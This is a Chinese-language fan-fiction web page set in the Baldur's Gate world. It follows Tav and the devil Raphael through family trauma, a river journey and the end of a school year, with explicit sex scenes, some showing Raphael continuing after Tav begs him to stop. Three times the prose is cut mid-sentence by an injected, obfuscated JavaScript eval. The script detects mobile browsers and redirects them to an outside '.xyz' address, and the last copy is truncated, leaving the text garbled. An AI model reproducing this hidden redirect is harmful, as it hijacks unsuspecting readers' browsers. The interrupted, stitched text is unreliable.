虽然乘狮鹫行程不足一天,但因为一片巨大沼泽阻隔,塔夫从来没有来过这座城镇。拉斐尔为她介绍起这栋建筑的风格,或者那条街道的历史。塔夫饶有兴趣地听着,和他拐过街角,远远望见一处赛马场。待她看清其上的名字和黑手徽记时,怔愣住好一会。 “怎么了?”拉斐尔问。 塔夫转过头朝拉斐尔笑了笑。 两人聊天时,拉斐尔对她的观察一向细致入微,甚至能区分不同的沉默是倾听还是没有说出口的话。与她一样,他想要无话不谈,这种程度的沉默就已经足够打断二人的交流。 “原来这座赛马场在这里。”她仍好奇地望着拉斐尔,但不知道自己脸上的表情是惊喜还是惊吓。 拉斐尔握紧她的手,没有追问,继续介绍起来: 比起其他建筑,这座赛马场的历史要短得多,却也是令这座古老城市焕发生机、得以重新发展到如此规模的主要原因。 而修建和经营这座马场的人野心勃勃,曾为卡尼亚家族效力,后来又与埃弗纳斯大公扎瑞尔合作,也是如今炙手可热的新贵…… “戈塔什。”塔夫在拉斐尔之前说出那人的名字,“拍卖会上神秘的21号买家。” . 104.重复 “我听说过他。”塔夫望向拉斐尔。 博德之门那晚的慈善拍卖会结束后,很多人猜测并逐渐肯定,向雷文伽德公爵示好的便是这位富有的外乡人戈塔什。他已经不再满足于商贾身份,希望获得爵位,并进一步在费伦的权力中心得到一席之地。 然而塔夫知道戈塔什远早于这件依然吸引众人讨论的轶事。 ——她的姐姐卡菈克,曾在戈塔什的赛马场工作。 “戈塔什和你的家族有联系?”塔夫又问。 “曾经。”拉斐尔声音降低些, “那是我出生后不久,戈塔什为我父亲工作过一段时间。他能力出众,样貌英俊,也许某些手段不算光彩,但从不会被人找到证据。 “我父亲对戈塔什不算喜爱,没有继续合作。不过……我母亲还是在他的请求下,从中牵线,将他推荐给了扎瑞尔。扎瑞尔那时刚争得大公头衔,需要得力帮手。而这座赛马场背后的所有者,或者说至少是最初的主要出资者,便是埃弗纳斯家族。” 塔夫默默消化了会,停下脚步:“卡菈克就是在这里摔断了角。”她抿抿唇,“也许我们可以往回走了。” . 直到登船正式出发,塔夫没再提起任何戈塔什或姐姐的事。 拉斐尔也没有追问,帮她把行李一起递给水手。 二人此行的目的地是位于南方的安姆。 狮鹫脚程最快,但坐船更方便舒适。他们出发后会先向东到河流交汇口,再沿另一条河向西南。抵达安姆后换乘马车,继续一路向西游玩至西海岸。旅行结束后再次乘船直接一路往北,便可重返博德之门。 正因如此,两次坐船也是拉斐尔所规划的旅行的一部分。 这次乘坐的客船是由贡德侏儒技术打造的机械汽船,船身有好几层,专为旅行设计。餐厅厨师技艺高超,船舱各层都设有赌场,相互连通,每晚还有乐队现场表演和歌舞秀等其他娱乐。 塔夫和拉斐尔所住房间在最上一层,宽敞明亮,能望见整个甲板与河两岸的风光。她迈上私人露台后,终于忍不住“哇”了一声。 拉斐尔在她身旁,伸手环住她:“旅途顺利,塔夫。” “听上去倒像是我要一个人出发去旅行。”塔夫笑着望向他,“我们一起。” “我们一起。”拉斐尔在她脸颊上亲了下。 塔夫手扶上他肩膀又踮起脚:“我很期待。”汽笛声中,拉斐尔笑着俯身拥吻住她。 . 吃过晚饭(主菜是新鲜的贝类和淡水鱼),探索过这层的赌场和一间阅读沙龙(提供雪茄和威士忌),塔夫和拉斐尔早早回到房间,一起做了些亲密的体力活(出力的主要是拉斐尔)。 事后重新躺回床上,塔夫懒洋洋地窝在拉斐尔怀里,身体和心理双重放松,当拉斐尔提起时,便很自然地继续说起下午姐姐的事。 对于卡菈克来说,那是一份非常不错的冬闲工作——在戈塔什的马场养马。 马场是新建的,一切都崭新又干净,甚至连马厩都比其他地方好闻不少。戈塔什看上去很年轻,人长得也挺不错,不过最主要的是非常慷慨大方,工作报酬丰厚,提供食宿。 由此一来,除了能接触到各种不同性格和品种的马匹,卡菈克还能攒下不少钱,可以用来帮助母亲归还农场借款,也可以用来支持妹妹读大学。 而她“幸运”得到这份合同,是因为她取得了附近农业集会上马术比赛的最高优胜,被戈塔什一眼相中。他还承诺说,如果她当场签下合同,会另外送她一笔奖金。 “她那时刚满十六岁,和明斯克一起去的比赛,周围所有人都羡慕得不得了,都说她交上了好运。她和明斯克带着钱和合同回来,也都兴高采烈的。可是母亲看过后却大发雷霆,称那为卖身契。” 塔夫吸了口气,这才能接着说: “除了替戈塔什养马,某些时候她还要为背后的贵族赛马,甚至……参加赌马,如果没有完成一些条件,还会有惩罚性质的续期。 “合同很难退出,我们没有办法负担罚金,哪怕把农场压上也不够。卡菈克认为事情不会太糟,一个冬天便能结束,还是去了。 “但是她过了快一年才回来……回来的时候整个人都……” 塔夫忽然抽泣一声。 “这并不是你的错。”拉斐尔抚摸她后背,“这怎么会是你的错。” 塔夫在拉斐尔怀里靠了一会,语气带着某种第三方的客观平静道:“因为贾希拉本来是要去看卡菈克比赛的,但是我生病了。” 她当初因为生病被母亲遗弃在医院,辗转几处孤儿院后被贾希拉正式收养,或者更像是是卡菈克选择她成为自己的妹妹。 按道理来说,她应该会想办法变得健康,不要再因此被遗弃才是,然而她的表现却恰恰相反。 她反复地、重复地生病,甚至会装病,而且一生病就发脾气。不仅仅是为了获得贾希拉的关照和爱护,要占据她的大部分时间经历,怕她再收养其他孩子后自己变成中间不受重视的那个。那还像是一种考验,看贾希拉会不会因此对她失去耐心,最后也抛下她。 既然她被母亲丢下过,她以后总是会被抛弃的。如果这便是她的命运,那还不如早点面对这个现实。 她那时的做法,简直是想要制造同样的情景,以再次体验被抛弃的痛苦。 因为虽然痛苦,却也让她感到熟悉,并从那熟悉的情感中获得安全感。 “那天对卡菈克很重要,母亲、明斯克、甚至附近镇上的不少人都会去看她比赛。 “我那时身体不好,没办法跟着一起去,母亲说会请一位相熟的婆婆来照顾我。但我忽然感到很害怕,坚信她们离开我之后就不会再回来了……” 塔夫眼泪重新默默流下来, “于是我又生病了,难受得一直哭,嗓子肿得说不出话。母亲不得不带我去看医生,要明斯克一个人照顾好卡菈克。 “我还记得卡菈克走的时候,亲了亲我的额头,说:‘小锡兵,快点好起来。等你好了,姐姐就教你骑马,你就会变得和真正的锡兵一样强壮了。’ “我甚至记不清那时我是不是真的病了。也许医生说过我病得厉害,还好来得及时。也许是我模糊了记忆,想让我自己好受一点。 “但是我记得很清楚,我那个时候的想法是,绝对不能让母亲陪着姐姐一起去。所以卡菈克后来才…… “你的想法是。”拉斐尔紧紧环住她,“你希望贾希拉陪在你身边。” “这不是一回事吗!?” “你并不希望卡菈克出事。” “可是结果是一样的……” “不一样,塔夫。”拉斐尔嘴唇贴在她额头,“这不一样。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642964|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉斐尔把塔夫打横抱起去清理时,塔夫看着镜子不由得难为情起来,倒不是因为她和拉斐尔都赤裸着,而是她看上去……像是被欺负狠了。 “我自己洗脸就好。”她声音仍有些嗡嗡的。 拉斐尔笑着放下她,两人一起洗脸擦净,他又重新抱起她回到床上。塔夫没拒绝,手勾着他的脖子,像是自说自话:“我其实知道的,就好像我绝对不会怪明斯克,整件事的罪魁祸首是戈塔什,也许还有他身后的贵族。”她偷偷瞄了眼拉斐尔,强调道,“不过戈塔什总是更过分的那一个!听明斯克说,他后来还带着卡菈克去偷偷揍了戈塔什一顿!” “嗯。” “可是尽管我知道,却还是忍不住这样去想。也许这也是一种可以让我感到熟悉情感的重复,所以我觉得很……‘安全’。”塔夫说完忍不住笑了下, “具体是为什么我自己也说不清楚,因为我明明更像是不想去想。”她觉得自己思维混乱起来,干脆直接把脸贴在拉斐尔脖子上,“谢谢你听我说这些。” “当然。任何时候。谢谢你愿意告诉我。” “噗。我们之间一下子变得好客气。” “那就,没关系。” “也没差多少。”塔夫笑起来,搂着他一会又说,“拉斐尔?” “嗯?” “你这次回去之后,与你父亲吵架了是吗?” “嗯。” “是……因为我吗?“ 拉斐尔忽然翻身吻住她,抓着她双手举过头顶,威胁似的顶了顶她:“如果你想把什么坏事都往自己身上揽,我向你保证,我有办法可以让你不能再想任何事。” 塔夫微笑看着他:“好啊。” 拉斐尔一下怔住,喉咙里发出很低的一声闷响。 塔夫闭上眼睛低声说:“我想试试看。”又立刻微微睁开一只眼睛提要求,“不过从后面。”她觉得自己一定又会流眼泪——因为各种原因,所以有些不好意思让拉斐尔看到自己的表情。 “你很快就不能再‘想’了。”拉斐尔再次说,深深吻住她。 塔夫笑着环住他的肩膀,热情地回吻他。 我越是逃离, 却越是靠近。 我越是背过脸, 却越是看见你。 . 拉斐尔果然说到做到。当塔夫抽噎着叫他的名字,央求他别那么用力时,他第一次做出了与她要求相反的动作,拍拍她:“原来你仍有力气提要求。”便继续弄得更狠,让她哭得更厉害。 后来塔夫四肢颤抖,支撑不住身体趴着求饶道:“这次是真的不行了。”拉斐尔却跟着伏下身,胸膛紧紧贴着她后背。两人都汗涔涔的。塔夫双手被重新拉向头顶握住,耳旁是拉斐尔粗沉的呼吸:“最后一次,好吗,马上结束了,再坚持一下。” 然而他根本就不会数数! 塔夫最后连“我想睡觉”都这个念头都没办法再想,直接昏睡过去。 拉斐尔仍伏在她背上,很慢很慢地退了出来,又慢慢呼出一口气。 他替她把头发整理捋到一旁,在她颈后吻了吻,近乎自言自语地低声说: “我和父亲的争吵不是因为你,塔夫。 “我似乎也在制造一种重复的情景,来一遍遍感受过去的经历: “让我父亲对我感到失望。” . 105.变化 拉斐尔从记事开始,母亲便总是一副思虑重重的模样。 他从来没有见过她开心的表情。不过人人都说她气质优雅,举止风流,是天生的贵族。 他知道她并不是。祖父母都是学者,专研历史考古,学识渊博,为人随和。他很喜欢……他不讨厌他们,但他们并不是贵族。 祖母突然病倒,几个月后祖父也随她去往神国。那时母亲肚子已经鼓起很久,说他马上就会有一个妹妹,他还试着隔着母亲的肚皮和妹妹说过话。 妹妹消失不见了。 母亲很少再从床上下来过,稍微大一点的声音都会让她陷入惊厥,加重病情。 男仆对他说:“可怜的卡尼亚夫人。” 管家对他说:“别这样尖叫,为你可怜的母亲想想。” 父亲对他说:“有时间多去陪陪你母亲。” 母亲对他说:“你可怜的妹妹。” 拉斐尔没有亲眼见过妹妹,不太清楚她是否可怜,但觉得母亲的确很可怜,每天被困在床上,什么都做不了,甚至连翻书的力气也没有。 日日如此。夜夜如此。 可怜…… 可怜…… 他慢慢麻木,甚至厌烦。难道他就不可怜吗?还有任何人在乎他甚至能看到他吗? 当母亲又一次对他说可怜的妹妹时,他这样顶了回去。 后来母亲就什么都不再说了。 但他还是会坐在母亲床前。 她看着窗外的时候是在想什么? 是他惹她生气了吗? 那年他五岁,被提前送去寄宿学校入读。 . 拉斐尔没有感到任何不适应。 比起想念家里,他更喜欢学校。他来自最古老的贵族家族,父亲是卡尼亚大公,而他是父亲唯一的孩子,未来的卡尼亚大公。除了负责照顾他的哈勒普,学校里的每一个人都顺从他、畏惧他,包括老师,甚至校长。 无论他做什么,哪怕是换成任何一个其他孩子就足以受到体罚的恶劣行径,哈勒普都能替他轻松解决。 直到他惹出哈勒普也瞒不住的麻烦。 校长向父亲道歉——因为不得不劳烦卡尼亚大公亲自来一次。 校长离开后,父亲俯睨着他:“你很令我失望,拉斐尔。” 他告诉他,在学会怎么妥善遮掩处理前,别惹超出自己能力范围的麻烦。而做到这一点,他需要对自己的能力有足够自知之明。 …… 哈勒普会开始变成父亲的模样。在低沉的训斥声中,拉斐尔学会更多规则,这意味着他可以做越来越多想做的事。 他重新回家后,母亲已经能够说话了。 她说得很慢,自怜因为生病而容貌愈发憔悴。他气晕母亲两次,以为自己成功掩盖却反而令父亲大发雷霆。他再次意识到有些话他不能说,至少不能对母亲说。 …… 他越来越少见到母亲。 有一整个冬天,他只见到醒着的母亲一面。他其实很想见她,可是真的见到时又不知应该说什么,因为她总是以“她不是一个好母亲”作为开始。 拉斐尔觉得她不是。不过他也不是什么好儿子。但他知道他不能这么说。 而且不好又有什么关系呢,她还是他的母亲。但他知道他也不能这么说。 于是他说:“别太担心我,母亲。” 母亲叹口气:“我昨晚听见你父亲的声音。你又让他失望了?” 她提起父亲时总是会带着淡淡的表情,像是微笑又像是嘲弄。 他不喜欢母亲说的话,但他喜欢母亲那时的表情,让她变得一下子生动亲近起来。 …… 十岁那年,拉斐尔小学毕业。 虽然他会继续在同一所学校就读,但还是庆祝了一番,收到许多礼物。他最喜欢……最令他满意的礼物是一只狮鹫,养在庄园外的岩厩里。学会骑乘狮鹫后,他可以飞一整天。 生日那天他仍照常翻身上马,一早就离开庄园。管家叮嘱他午饭前回来——他母亲会为他准备惊喜。 “她已经能起身了吗?” “她说一定会的。” 拉斐尔不相信她能够做到。她已经病得连上半身都抬不起来,常常连着好几天都在昏睡。 他再次飞得很远,忘记时间,直到天黑才匆匆往回赶,没有看清路,掉下马,撞破鼻子,摔断胳膊,弄了一身血。 母亲居然真的起来了,见到他的模样便向后软倒。 拉斐尔手臂疼得仿佛在灼烧,但除了哈勒普所有人都围去母亲身边。 还除了父亲,他将他手中马鞭一把夺下,对着他的胳膊狠狠抽了几鞭子: “一整天!拉斐尔。她一整天都在等你。而你,你简直太令我失望了。” 拉斐尔倒抽一口气,手臂和额头两侧的血管都在突突地跳。他大口喘息,眼前升起一片金色,痛感变钝,开口时声音带着金属喑哑: “她做这一切不是为了我,而是为了满足她自己‘当一个好母亲’的愿望。 “她没有能力做到。 “那并不是我的错。” 母亲微弱地呻吟一声,彻底晕死过去。 原来她刚才醒着。 她什么都听见了。 拉斐尔浑身滚烫,双腿忽然发软,慢慢跪在地上,感到额头背后都多出什么。 父亲沉默地俯视他,却弯起唇,看上去像是赞许满意的微笑。 拉斐尔第一次感到恐惧。 他低下头,望见自己掌心一片暗红。 那并不是他的血。 几天后,母亲便去世了。 . 拉斐尔站在母亲床前,知道她就要死了。 他其实早就知道这一天会到来,但是这一刻真的要降临时,他却感到十分陌生,仿佛没有任何心理准备。为什么母亲会离开不再回来,她会去哪位神明的神国,祖父母和妹妹也会在那里吗。 她们还会认得他吗。 母亲睁开眼睛,虹膜被夕阳镀上一层金色,无比明亮,像是在燃烧。 这大概是她最后一次睁开眼睛。 拉斐尔再一次感到恐惧。 他忽然想对母亲说昨天他的话并不是他的本意,希望听到母亲对他说她原谅他了,但母亲只说:“拉斐尔,别再让你父亲失望了。” …… 十几年前的记忆依然清晰。 但令拉斐尔有些意外的是,回忆幼年和童年的经历并没有给他带来太多波动。他更像是阅读了一个故事,然后放下书点点头评价:“描述得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655457|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还算准确。”所感受到的情绪起伏甚至远不及刚才听塔夫讲述她的感受。 拉斐尔轻轻替塔夫翻过身,用打湿的手帕擦拭她眼角、脸颊、鼻翼,又换了一条毛巾擦拭整张脸,接着是脖子,胸脯,小腹……她的皮肤仍泛着淡淡的粉,腰两侧甚至还能看出浅白色的指痕。 拉斐尔皱起眉,小心碰了碰。塔夫没有任何反应,均匀地呼吸着。虽然刚才哭叫得很可怜,但她现在眉梢都是满意,毫无防备,甚至在睡梦里嘴角也微微上翘。 真可爱。 拉斐尔忍不住再次俯身亲吻她,居然又重新升起欲望。自渎本身便不是什么好主意,更何论对着睡梦中的女友。拉斐尔咽了咽口水,终于还是很有经验地去冲了个冷水澡。 . 拉斐尔洗了很久,后来更多是在思索那重复的失望。 他不确定这认知会带来什么变化,但似乎已经觉得轻松一些。事实上新年时,他便能够和父亲说些对方恐怕永远也不会喜欢的玩笑。而向前追溯因果,意识到某种模式或规律的存在,哪怕是会带来审视甚至痛苦的规律,对他来说也比在一片混沌中要更好。 他等待皮肤回温,躺回塔夫身旁。在梦中她也很快依偎过来。 拉斐尔感到一种安稳的幸福,环住她,合上眼睛。 …… 然而,接下来的旅程几乎立刻出了些不大不小的差错。 先是烛光晚餐送错主菜和配酒,接着是客房服务没有按时完成,后来又发现水手搞混了塔夫的一只行李箱。 需要有人承担后果。 拉斐尔在一旁瞧着塔夫先安慰侍者这没什么,接着要女仆别着急又拽他去甲板遛弯给女仆时间,凑巧找到那只行李箱的主人成功换回她自己的,最后兴奋地跑去告诉水手这个“好消息”。如果不是他及时拽住水手,对方简直要和塔夫拥抱庆祝了。 毫不意外地,她也并没有责备他,哪怕这都是他的安排。 而如果是他来做,虽然同样会解决问题,但对方绝对需要付出一些代价。 既然塔夫可以这样容易地原谅别人的错误,为什么却对自己这样苛责。 “你把我说得也太好了。”塔夫有点脸红,“都是小事,对方也都先表示歉意了。水手最开始的时候态度不是有点不以为然吗,我那时对他可没什么好脸色,差点把他吓哭!” 拉斐尔没有说水手应该是反应过来二人住在顶层,又被他的眼神吓到。 塔夫又说:“而且我也并没有真的苛责自己。我后来学会骑马,身体变得健康,确信妈妈和姐姐不会离开我。昨天……大概是触景生情,突然之间看到那座赛马场,一下子伤感起来。 “还有一点,听上去可能夸张了些,但是原谅别人的时候,大概会感觉自己也能够被原谅?”塔夫又强调一遍,“特别是这种‘小事’!你夸得我都要不好意思了。” 她抱着他的手臂,真的有些羞赧的模样:“最后也是因为有你在,我在你身边感觉很轻松,好像无论说什么做什么都没有关系。” 他也是这样认为的。 他很高兴她也是这样想的。 拉斐尔吻吻塔夫。 不过有的事情他只暂时在心里思索起来。 比如,他能够对戈塔什做些什么。 . 106.开始 拉斐尔并不总是赞同塔夫的想法和做法。 尤其在这种长途旅行中。 刚开始,他们会为不少事情相互争辩,甚至吵起来几次,不过总能在入睡前和好。这点让他感到非常骄傲。 塔夫更随心,但尊重他略微紧凑的行程规划——因为他想和她一起去很多地方。 在又一次小小的不愉快以及非常愉悦的和好后,两人约定每到一处都划出小半天,用于毫无目的地乱逛。他也跟着她尝试了一些以往绝对不会看一眼的街头特色小吃,其中炸蜥蜴爪子和烤野猪尾巴意外的还不错。 对此塔夫没有做太多评价,但把剩下的都推到了他身前。 她总是关心他的喜好,他和她相处的每一天都更加喜欢她。 旅行中,他还和塔夫经历了很多第一次。 第一次一起浮潜。 ——塔夫制止他带走一片形状非常完美的珊瑚给她留作纪念。 第一次一起高空自由坠落。 ——并且比赛看谁使用轻羽术减速的时候更接近海面。 他毫无悬念地赢了。原因自然是他不需要依赖法术。他有翅膀。 塔夫又气又笑地说他在钻游戏空子,不过这明明是两人都知道的公开信息。所以他们后来又玩了一次,他不得不抱住塔夫一起使用轻羽术。塔夫说是她赢了,他认为这应该算平局。 第一次“请”蟒蛇蜕皮。 ——这是塔夫从当地人那里打听到的祭祀活动,供奉的是费伦最古老的神明之一寰宇巨蛇。 当地人说,参透领悟这一过程便能够得到永恒的幸福。不过他们没有办法在一处等上整整七天,离开时,那条被盘成“8”字形状的蟒蛇甚至没能磨破它的唇部表皮。 他依然坚信,如果他与塔夫在那条蛇面前接吻的话一定能够刺激它更快蜕皮,还能因此得到神明的祝福。可惜塔夫和村民都认为这是“对神明的不敬!” 当然也遇到了些突发情况。 抵达安姆后,一场暴雨将两人困在某处小镇,他们不得不在一家旅店待了整整一天,却成为他这次旅行最常回忆起来的一天。 房间狭小,但整洁温馨(塔夫的形容),木板床更是吱呀作响,但不令人讨厌(拉斐尔的评价)。正因为那床太响,他们才尝试站着的姿势。 那是塔夫的要求。 她始终令他着迷,之前就是,现在更是。 她更喜欢激烈些的,不过要背对着他。船上那次“不能想”后,她变得很敏感,稍重一些便非常容易流泪,偏偏流泪的样子又格外诱人,再加上她无法压抑的喘声,会让他控制不住自己,更用力让她哭得更厉害。 那天也是如此。 她转过身,后背抵在他身前。他稍稍俯身便可以亲吻她的耳朵,拢住她的下巴要她侧过脸与他接吻,手指在她皮肤上游走抚摸揉弄,或者捉住她手臂,微微提起她上身,让两人贴得更紧。她很喜欢,双腿颤抖,绷紧的时候头向后仰着,后背和脖颈都弯出漂亮的弧度,汗水顺着腿滑下,洇湿一小片地板,也打湿他。 那感觉很好,但塔夫的不应也很长,靠在他怀里一动不动放空很久,只有起伏的胸口告诉他她仍在余韵中。当她重新转过身,手臂慢慢环住他的腰又仰头索吻时,他终于没办法忍耐,将她抱了起来。 她只能依靠他。 就像他们第一次接吻。 但这一次他们更亲密。 他双手揽在她后背,更稳地支撑她,仰头深深吻住她嘴唇,与她舌头勾缠。她胳膊紧紧搂在他的肩膀,手指抓着他的头发。他听到她断断续续的声音,有些哑,带着鼻音,一遍遍用最简单的词描述她的感受和要求。 好热。很舒服。继续。 但那最简单的词就足以唤起他心中无数激情,只能听从她的要求,在她身子打颤后也继续下去。 他其实知道她想要停下或至少休息一下,却更用力地亲吻她,把她牢牢压向自己,直到她很快又一次痉挛,猛烈得让他后脑也仿佛忽然被一阵巨浪冲刷,只来得及低喘一声:“塔夫……” 那之后他大脑空白了数秒。 和她一起。在她身旁。只有她。 她近乎脱力,甚至在他亲吻重新变得温柔起来安慰她的时候,连抱怨的力气都没有,泄愤的啃咬也更像是调情。 …… 不过那只是少数时候,大多时候他都会尊重她的要求。 而且如果一定要说偏好的话,他其实更喜欢温柔一点[1]。看着塔夫的脸,也许吻住她。她嘴唇会微微张开,呼吸渐渐粗重,随着他的节奏变成细小的喘息。她的手指会下意识地抓住什么,那个时候,他总是喜欢握着她的手与她十指相扣。 他也很喜欢事后和塔夫的聊天。他们都很放松,什么话题都会聊。有的时候是形而上的,有的时候是纯粹的个人经历。那感觉像是刚才亲密的延申,也有点像是在跳舞——塔夫真的跳起舞来时仍然碰碰撞撞,他们的对话也是,却又格外和谐。她会出其不意地迈出一步或者旋转,他会感到惊讶,却总是能跟上她或接住她。她促使他去想一些他以前不会想的事情,或许是他有意不去想。 回到学校后,有一次塔夫提到开放式关系,态度不无好奇。 拉斐尔几乎是立刻严词反对。 尽管他知道塔夫的室友兼朋友影心和哈尔辛就是这样一对,他还是觉得这简直愚蠢透了,难以想象有人会愿意做这种事。他需要很克制,才只是表达自己的想法,没有评判塔夫的朋友。 “不仅仅是我一个人开放,你也可以交好几个女朋友。”她朝他侧过身子。 拉斐尔扭头看看塔夫,又仰面望向天花板,语气更强烈地表示他的看法:“绝对不会。” “尽管性自由和性解放不仅仅是对于女性而言,但因为女性往往是性客体——尤其是在异性恋中——常常只是对男性的性表示作出反应。所以在性自由方面,男人更在乎限制女人的权力,而不是实现他们自己的解放。”塔夫说这是和影心的讨论,问他是怎么看的。 拉斐尔从不觉得自己把塔夫看作是一个性对象或性客体,并为此想要限制她的自由,但这还是让他有些不舒服,便立刻把话题转到抽象的概念上去。他们讨论了会自由、约束、秩序和权力的关系,又聊到性别特权,还有其他特权什么的。 拉斐尔想到威尔——这是对方喜欢的话题,但他自然也不会在这种时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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塔夫没有片刻犹豫:“男人。”她瞧了他一眼,笑容有些狡猾也有些得意,“一个是魔鬼的你,一个是人类的你。”她顿了顿,“也许可以让哈勒普变成其中一个你?唔。好像会很有意思也很可行……呜嗯!” 拉斐尔脸先变白,又慢慢涨红,听到那个具体的名字后,彻底黑了。 他们做了第三次。 这次,塔夫累极了,很快睡着。拉斐尔在她的肩膀上吻了吻。 他无法想象在任何人面前对塔夫做任何事,或者在一旁看着她和其他任何人在一起。事实上,光是这样想想,他就感到愤怒和疼痛,仿佛他与塔夫之间有什么东西被打破了。被打破的不仅仅是两人的亲密、依恋、特别——无论用什么词去形容——还有……他自己。 他觉得自己有一部分落在塔夫那里,也许是灵魂,如果魔鬼也有灵魂的话。但他并没有感到残缺。相反的,因为和塔夫联结的那部分,他感到更加完整。 那个瞬间,拉斐尔知道自己已经爱上塔夫。 他不知道是这从什么时候开始的。也许可以向前追溯到冬天的那次旅行,也许是更久之前他决定去找她的那个夏天,也许在他还没有遇见她之前…… 不过只要她在他身边,他并不需要一个清晰的点,他只需要一条向前无限延申的线。 然而他回过头来看时却恍惚发现,也许这份爱的开始也正预示着崩塌的开始。 . 107.转折 塔夫同拉斐尔的冬季旅行无比愉快,临近结束却进入一种有些压力和紧张的气氛。 那时二人在回博德之门的船上,拉斐尔在做俯卧撑。 ——哪怕旅途中,他也仍会锻炼。塔夫偶尔加油,偶尔捣乱,偶尔被他拽着一起做上几组。那一天她选择坐在他的背上,帮他增加难度。 拉斐尔又一次撑起时,塔夫远远看到博德之门的海港之塔: “我们马上就要到了!真是无法想象,很快就会是我们的最后一个学期了!” 拉斐尔收缩手臂肌,肉控制着将胸膛缓缓压向地板,气息平稳:“开学后,也许我们可以住在一起?” 塔夫从他后背摔下来滚到地板上:“?!” 拉斐尔跪坐起身,朝她伸出手。塔夫已经自己爬了起来,眼睛却仍望着地面。 拉斐尔微微颦起眉又迅速抚平,口吻很松快地解释:“我们这次一起旅行很顺利,所以我推断,我们生活在一起也会很顺利。” “何止是顺利。”塔夫笑了,“二周接近三周,我们几乎每时每刻都在一起,除了最开始居然连吵架都没有几次。你知道我有多喜欢这次旅行。” 拉斐尔也微笑起来:“听到你这样说我很开心。” 塔夫抿抿唇:“我只是觉得,我们现在的话,还是分开住会好一点。” 拉斐尔沉默片刻,喉结明显滚动了下: “你不想和我……你不想我们住在一起,是有什么担心吗?我们正式交往已经十个月,也很了解彼此,无论是习惯,还是喜好,甚至是差异。”他握住塔夫的手,阻止她掐自己的指尖,语气带上些轻佻和打趣, “如果有突发情况和争吵,那反而是我们‘和好’的机会。” “首先,是九个月。”塔夫忍不住笑着瞥他一眼。 “开始第十个月。”拉斐尔立刻回道。 “我很喜欢和你在一起,拉斐尔。”塔夫顿了好一会,还是说,“不过我们刚一起度过了这么长时间,我可能需要调整一下,重新找回……在学校的感觉。” 拉斐尔点头说他明白她的意思,回程的路上没有再提起过这个话题,甚至连类似“他会等她”这种可能会带给她额外压力的话都没有说。 他表现得很轻松,讲一些趣事,态度自然地问起她最后一个学期的计划。 但塔夫知道拉斐尔是失望的,而看到他掩饰失落也让她觉得不太好受。她辜负了他的期待,却不知道怎么安慰。 也许共同生活对拉斐尔来说是顺理成章的下一步,对她来说却是从来没有考虑过的事。她知道这提议是拉斐尔对二人关系投入和重视的表现,然而她还弄不清楚自己的想法。 也许旅行的确让她和拉斐尔更加亲密,可那毕竟不是生活。 旅行时总能见到新鲜的事,让关系也显得新鲜有趣起来。真的在一起生活的话,她没有把握…… 塔夫猛地想起农场的夏天,又立刻对自己说那不一样。可具体哪里不一样,她也说不太出。如果是因为农场不仅仅只有她和人拉斐尔二人,还有妈妈和姐姐在,拉斐尔在学校的住处也有其他人,而且更多。 说起来有几分好笑,她甚至一度觉得她的决定和拉斐尔没有关系。她非常信任他。 但在这一片混乱中,她很清楚一件事,犹豫意味着她还没有做好准备。 . 与她尚未能理清的同居思考相比,塔夫最后一个学期顺利得不可思议。 她已经修够专业所需学分,这学期只有两门研讨会形式的选修课。 开学后不久,她便收到几所医学院的预录取信,其中包括博德之门医学院。 信中对她一番恭喜,表示会持续关注她的最终成绩,建议她做出决定前来校园参观,在暑假进行相关实习,最快敦促她尽快提交重要证明——以确保有足够资金支持她完成未来四年的学业。 后附厚厚一叠校园地图、课程介绍、实习推荐、建议书目、和捐款意向表等。 拉斐尔也在差不多同一时间收到博得安法学院的最终录取信,清单中也附有一张捐款表。这让塔夫很吃惊:“还没有入学就先要捐款了?!” 而近一年前收到不少校友捐款的屋顶上的猫剧团,社团活动进展有条不紊。 塔夫卸任,更加轻松(萝拉竞选为团长)。剧团将一起排演她最感兴趣的剧本。而她成功获得母亲一角,除了扮演僵硬的尸体,念几段独白,还会与饰演父亲的威尔有一场对手戏。 她很兴奋,不过拉斐尔颇有微词。 他没有掩饰任何不快,比起介意更像是某种邀请。塔夫当然抓住机会安抚他、调侃他、最后再同他“和好”,两人之间的亲密也因此有所回温。准确来说是比之前更加亲密——她开始偶尔在拉斐尔那里过夜。 这件事说起来其实在她的计划之外。 虽然两人还是被彼此强烈吸引,但关系因同居的事有些微妙的疏离。 同时也许是因为回到学校,那天晚上拉斐尔格外克制,亲吻和爱抚都十分温柔绵长,接着是几乎有几分陌生的、缓慢而又平和的推进,却比以往都更加充满存在和力量。 与拉斐尔十指相扣的时候,塔夫望进他的眼睛里,忽然感到一阵强烈的悸动,从连接处生出一股电流导至全身,头皮甚至连脚趾都有些发麻。 事后两人躺在一起,她被熟悉的放松环绕,转头望向拉斐尔,目光重新相触时便知道他也有同样的感受。 之前的一点疏离彻底消失了,他们像以往那样漫无边际地聊天,而且因为知道之后会再做一次爱,聊天也变得更加愉快。她提起刚同影心讨论过的开放式关系,结果最后……累坏了,直接昏睡过去,也是第一次在拉斐尔那里过了一夜。 